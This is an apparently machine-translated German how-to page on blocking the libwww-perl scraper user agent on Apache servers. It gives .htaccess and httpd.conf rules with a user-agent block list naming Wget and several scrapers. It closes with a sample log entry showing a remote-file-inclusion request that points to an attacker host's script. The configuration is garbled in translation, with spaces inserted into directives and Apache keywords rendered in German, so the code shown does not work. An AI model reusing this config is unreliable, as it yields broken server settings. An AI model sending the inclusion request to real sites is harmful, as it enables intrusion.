Wie blockiere ich libwww-perl - Wie Man

Wie blockiere ich libwww-perl

Dies hilft, die Bandbreite in Ihrem Rechenzentrum zu reduzieren und langfristig Geld zu sparen. Dies ist eine ziemlich übliche Scraping-Methode für Websites. Ich empfehle diese Lösung nur, wenn Sie in kurzer Zeit eine große Anzahl von Verbindungen von mehreren Verbindungen bemerken.

Schritt 3 sollte nur verwendet werden, wenn Ihre aktuelle Apache-Konfiguration bereits .htaccess-Dateien verwendet. Wenn dies nicht der Fall ist, verwenden Sie Schritt 4.

Dies liegt daran, dass die Verwendung von .htaccess den Server stärker belastet, da Apache für jede hergestellte Verbindung den .htaccess lesen muss.

Diese Empfehlungen werden derzeit in meiner Produktionsumgebung verwendet. Diese Methoden sind nicht in Steinmethoden festgelegt, da jede Umgebung anders ist. Diese Methode ist ein guter Startschritt.

4 Schritte insgesamt

Schritt 1: Gehen Sie in Ihr Webverzeichnis

cd / ihr / web / verzeichnis

Schritt 2: Erstellen Sie Ihren .htaccess

Ich empfehle die Verwendung Ihres bevorzugten Texteditors (GUI oder textbasiert)

Schritt 3: Fügen Sie Inhalte hinzu, um libwww-perl von Ihrer Website zu blockieren

RewriteEngine On
RewriteBase /
RewriteCond% {HTTP_USER_AGENT} libwww-perl. *
RewriteRule. * - [F, L]

Schritt 4: Blockieren Sie libwww-perl in Ihrem Verzeichnis httpd.conf oder /conf.d

SetEnvIfNoCase User-Agent "^ Wget" bad_bot
SetEnvIfNoCase User-Agent "^ EmailSiphon" bad_bot
SetEnvIfNoCase User-Agent "^ EmailWolf" bad_bot
SetEnvIfNoCase User-Agent "^ libwww-perl" bad_bot

Ordnung erlauben, verweigern
Erlaube von allen
Ablehnung von env = bad_bot

Dadurch können Sie eine Einschränkung in Ihren Apache-Protokollen sehen
x2.1xx.6x.2x0 www.domain.com - [23 / Oct / 2006: 22: 24: 37 +0000] "GET /wamp_dir/setup/yesno.phtml?no_url=http://www.someattackersite.com /list.txt? HTTP / 1.1 "200 72672" - "" "libwww-perl / 5.76"